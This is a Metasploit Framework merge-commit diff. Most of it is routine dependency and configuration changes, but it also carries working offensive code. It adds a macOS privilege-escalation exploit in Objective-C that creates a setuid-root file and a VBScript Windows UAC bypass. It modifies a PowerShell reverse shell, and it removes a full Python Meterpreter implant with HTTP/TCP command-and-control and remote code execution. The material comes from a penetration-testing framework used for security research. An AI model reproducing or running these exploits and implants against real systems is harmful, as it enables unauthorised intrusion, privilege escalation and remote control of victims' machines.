Merge remote-tracking branch 'upstream/master' into reverse-listener-comm

Conflicts:
	lib/msf/core/handler/reverse_http.rb
bug/bundler_fix
Meatballs 2015-09-04 10:36:00 +01:00
commit a10bf76c29
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
990 changed files with 52812 additions and 17601 deletions

3
.gitignore vendored
View File

@ -69,7 +69,10 @@ external/source/exploits/**/Release
# the metasploit-payloads gem.
data/meterpreter/*.dll
data/meterpreter/*.bin
data/meterpreter/*.jar
data/meterpreter/*.lso
data/android
data/java
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -22,7 +22,7 @@ before_script:
- bundle exec rake db:migrate
script:
# fail build if db/schema.rb update is not committed
- git diff --exit-code && bundle exec rake $RAKE_TASKS
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '2.1.6'

View File

@ -1,33 +1,33 @@
PATH
remote: .
specs:
metasploit-framework (4.11.0.pre.dev)
metasploit-framework (4.11.4)
actionpack (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit-payloads (= 0.0.7)
metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.12)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rb-readline-r7
recog (~> 1.0)
recog (= 2.0.6)
robots
rubyzip (~> 1.1)
sqlite3
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
metasploit-framework-db (4.11.4)
activerecord (>= 4.0.9, < 4.1.0)
metasploit-credential (~> 1.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 1.0)
metasploit-credential (= 1.0.0)
metasploit-framework (= 4.11.4)
metasploit_data_models (= 1.2.5)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
metasploit-framework-pcap (4.11.4)
metasploit-framework (= 4.11.4)
network_interface (~> 0.0.1)
pcaprub
@ -104,7 +104,7 @@ GEM
i18n (0.7.0)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.2)
json (1.8.3)
mail (2.6.3)
mime-types (>= 1.16, < 3)
metasploit-concern (1.0.0)
@ -123,8 +123,8 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (0.0.7)
metasploit_data_models (1.0.1)
metasploit-payloads (1.0.12)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
arel-helpers
@ -133,20 +133,20 @@ GEM
pg
postgres_ext
railties (>= 4.0.9, < 4.1.0)
recog (~> 1.0)
recog (~> 2.0)
method_source (0.8.2)
mime-types (2.4.3)
mime-types (2.6.1)
mini_portile (0.6.2)
minitest (4.7.5)
msgpack (0.5.11)
multi_json (1.11.0)
msgpack (0.6.2)
multi_json (1.11.1)
multi_test (0.1.2)
network_interface (0.0.1)
nokogiri (1.6.6.2)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.12.0)
pg (0.18.1)
pg (0.18.2)
pg_array_parser (0.0.9)
postgres_ext (2.4.1)
activerecord (>= 4.0.0)
@ -156,7 +156,7 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.5.2)
rack (1.5.5)
rack-test (0.6.3)
rack (>= 1.0)
rails (4.0.13)
@ -174,7 +174,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (10.4.2)
rb-readline-r7 (0.5.2.0)
recog (1.0.29)
recog (2.0.6)
nokogiri
redcarpet (3.2.3)
rkelly-remix (0.0.6)
@ -198,7 +198,7 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.5.0)
rubyntlm (0.5.1)
rubyzip (1.1.7)
shoulda-matchers (2.8.0)
activesupport (>= 3.0.0)
@ -222,7 +222,7 @@ GEM
thread_safe (0.3.5)
tilt (1.4.1)
timecop (0.7.3)
tzinfo (0.3.43)
tzinfo (0.3.44)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.6)

View File

@ -3,8 +3,7 @@
# these days. (No SQLite, no MySQL).
#
# To set up a metasploit database, follow the directions hosted at:
# https://fedoraproject.org/wiki/Metasploit_Postgres_Setup (Works on
# essentially any Linux distro, not just Fedora)
# http://r-7.co/MSF-DEV#set-up-postgresql
development: &pgsql
adapter: postgresql
database: metasploit_framework_development

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2014-0556/msf.swf Executable file → Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2015-0311/msf.swf Executable file → Normal file

Binary file not shown.

BIN
data/exploits/CVE-2015-0313/msf.swf Executable file → Normal file

Binary file not shown.

BIN
data/exploits/CVE-2015-0336/msf.swf Executable file → Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,33 @@
// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa
#include <dlfcn.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <Foundation/Foundation.h>
#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
#define FWK_BASE "/System/Library/Frameworks"
void __attribute__ ((constructor)) test(void)
{
void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);
if (p != NULL)
{
id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
id tool = objc_msgSend(sharedClient, @selector(remoteProxy));
NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
NSData* data = [NSData dataWithContentsOfFile:inpath];
objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
data,
outpath,
@{ NSFilePosixPermissions : @04777 });
}
exit(1);
}

Binary file not shown.

Binary file not shown.

View File

@ -36,7 +36,7 @@ function powerfun
$stream = $sslStream
}
[byte[]]$bytes = 0..255|%{0}
[byte[]]$bytes = 0..20000|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

View File

@ -0,0 +1,62 @@
Option Explicit
Dim oWs: Set oWs = CreateObject("WScript.Shell")
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
Dim HOST_MANIFEST: HOST_MANIFEST = _
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
" manifestVersion=""1.0"">" & vbCrLf & _
" <asmv3:trustInfo>" & vbCrLf & _
" <security>" & vbCrLf & _
" <requestedPrivileges>" & vbCrLf & _
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
" </requestedPrivileges>" & vbCrLf & _
" </security>" & vbCrLf & _
" </asmv3:trustInfo>" & vbCrLf & _
" <asmv3:application>" & vbCrLf & _
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
" <autoElevate>true</autoElevate>" & vbCrLf & _
" <dpiAware>true</dpiAware>" & vbCrLf & _
" </asmv3:windowsSettings>" & vbCrLf & _
" </asmv3:application>" & vbCrLf & _
"</assembly>"
Sub Copy(ByVal sSource, ByVal sTarget)
Dim sTempFile: sTempFile = GetTempFilename()
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
oFso.DeleteFile sTempFile
End Sub
Sub Elevate()
Const WINDIR = "%windir%"
Dim sPath: sPath = Left(WScript.ScriptFullName, _
InStrRev(WScript.ScriptFullName, "\"))
Dim sHost: sHost = Right(WScript.FullName, 11)
Dim sManifest: sManifest = sPath & sHost & ".manifest"
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
oStream.Write HOST_MANIFEST
oStream.Close
Copy sManifest, WINDIR
Copy WScript.FullName, WINDIR
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
oFso.DeleteFile sManifest
End Sub
Function GetTempFilename()
Const vbTemporaryFolder = 2
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
End Function
Sub RunAsAdmin()
oWs.Run "COMMAND"
End Sub
If WScript.Arguments.Named.Exists("RESTART") Then
RunAsAdmin
Else
Elevate
End If

BIN
data/exploits/tpwn/tpwn Executable file

Binary file not shown.

Binary file not shown.

View File

@ -973,6 +973,12 @@ os_detect.getVersion = function(){
os_name = "Windows 8";
os_sp = "SP0";
break;
case "1100":
// IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
ua_version = "11.0";
os_name = "Windows 10";
os_sp = "SP0";
break;
default:
unknown_fingerprint = version;
break;
@ -1027,7 +1033,7 @@ os_detect.getVersion = function(){
}
switch (navigator.appMinorVersion){
case ";SP2;":
ua_version += ";SP2";
os_sp = "SP2";
break;
}
}

View File

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,763 +0,0 @@
#!/usr/bin/python
import code
import os
import platform
import random
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import traceback
try:
import ctypes
except ImportError:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
# this MUST be imported for urllib to work on OSX
try:
import SystemConfiguration as osxsc
osxsc.SCNetworkInterfaceCopyAll()
has_osxsc = True
except ImportError:
has_osxsc = False
try:
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
has_urllib = False
else:
has_urllib = True
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, 'UTF-8')
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
#
# these values may be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_COMMUNICATION_TIMEOUT = 300
HTTP_CONNECTION_URL = None
HTTP_EXPIRATION_TIMEOUT = 604800
HTTP_PROXY = None
HTTP_USER_AGENT = None
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL = 3
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV base starting points
#
TLV_RESERVED = 0
TLV_EXTENSIONS = 20000
TLV_USER = 40000
TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
return symbol
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in range(32))
@export
def crc16(data):
poly = 0x1021
reg = 0x0000
if is_str(data):
data = list(map(ord, data))
elif is_bytes(data):
data = list(data)
data.append(0)
data.append(0)
for byte in data:
mask = 0x80
while mask > 0:
reg <<= 1
if byte & mask:
reg += 1
mask >>= 1
if reg > 0xffff:
reg &= 0xffff
reg ^= poly
return reg
@export
def error_result(exception=None):
if not exception:
_, exception, _ = sys.exc_info()
exception_crc = crc16(exception.__class__.__name__)
if exception_crc == 0x4cb2: # WindowsError
return error_result_windows(exception.errno)
else:
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
return result
@export
def error_result_windows(error_number=None):
if not has_windll:
return ERROR_FAILURE
if error_number == None:
error_number = ctypes.windll.kernel32.GetLastError()
if error_number > 0xffff:
return ERROR_FAILURE
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
return result
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
val = struct.unpack('>Q', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ""
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
self.file_obj = file_obj
def __getattr__(self, name):
return getattr(self.file_obj, name)
export(MeterpreterFile)
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
self.sock = sock
def __getattr__(self, name):
return getattr(self.sock, name)
export(MeterpreterSocket)
#@export
class MeterpreterSocketClient(MeterpreterSocket):
pass
export(MeterpreterSocketClient)
#@export
class MeterpreterSocketServer(MeterpreterSocket):
pass
export(MeterpreterSocketServer)
class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
def is_read_ready(self):
return len(self.data) != 0
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
else:
data = self.data[0:l]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
#@export
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
def write(self, channel_data):
self.stdin.write(channel_data)
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket=None):
self.socket = socket
self.driver = None
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif HTTP_CONNECTION_URL:
self.driver = 'http'
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
if hasattr(self, 'driver_init_' + self.driver):
getattr(self, 'driver_init_' + self.driver)()
self.running = True
def debug_print(self, msg):
if DEBUGGING:
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
def register_function_windll(self, func):
if has_windll:
self.register_function(func)
return func
def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
idx = 0
while idx in self.channels:
idx += 1
self.channels[idx] = channel
return idx
def add_process(self, process):
idx = 0
while idx in self.processes:
idx += 1
self.processes[idx] = process
return idx
def get_packet(self):
packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
def get_packet_http(self):
packet = None
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
try:
url_h = urllib.urlopen(request)
packet = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
if packet:
packet = packet[8:]
else:
packet = None
return packet
def send_packet_http(self, packet):
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
try:
url_h = urllib.urlopen(request)
response = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
self.running = False
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def send_packet_tcp(self, packet):
self.socket.send(packet)
def run(self):
while self.running:
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
if should_get_packet:
request = self.get_packet()
if request:
response = self.create_response(request)
self.send_packet(response)
else:
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
while len(select.select([channel.fileno()], [], [], 0)[0]):
try:
d = channel.recv(1)
except socket.error:
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
data += d
elif isinstance(channel, MeterpreterSocketServer):
if len(select.select([channel.fileno()], [], [], 0)[0]):
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def _core_machine_id(self, request, response):
serial = ''
machine_name = platform.uname()[1]
if has_windll:
from ctypes import wintypes
k32 = ctypes.windll.kernel32
sys_dir = ctypes.create_unicode_buffer(260)
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
return ERROR_FAILURE_WINDOWS
vol_buf = ctypes.create_unicode_buffer(260)
fs_buf = ctypes.create_unicode_buffer(260)
serial_num = wintypes.DWORD(0)
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
None, fs_buf, ctypes.sizeof(fs_buf)):
return ERROR_FAILURE_WINDOWS
serial_num = serial_num.value
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
else:
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
if f[:4] == 'ata-':
serial = f[4:]
break
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
return ERROR_SUCCESS, response
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
self.last_registered_extension = None
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
extension_name = self.last_registered_extension
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
for method in lib_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
def _core_shutdown(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, True)
self.running = False
return ERROR_SUCCESS, response
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions:
return error_result(NotImplementedError), response
handler = self.extension_functions[handler]
return handler(request, response)
def _core_channel_close(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, subprocess.Popen):
channel.kill()
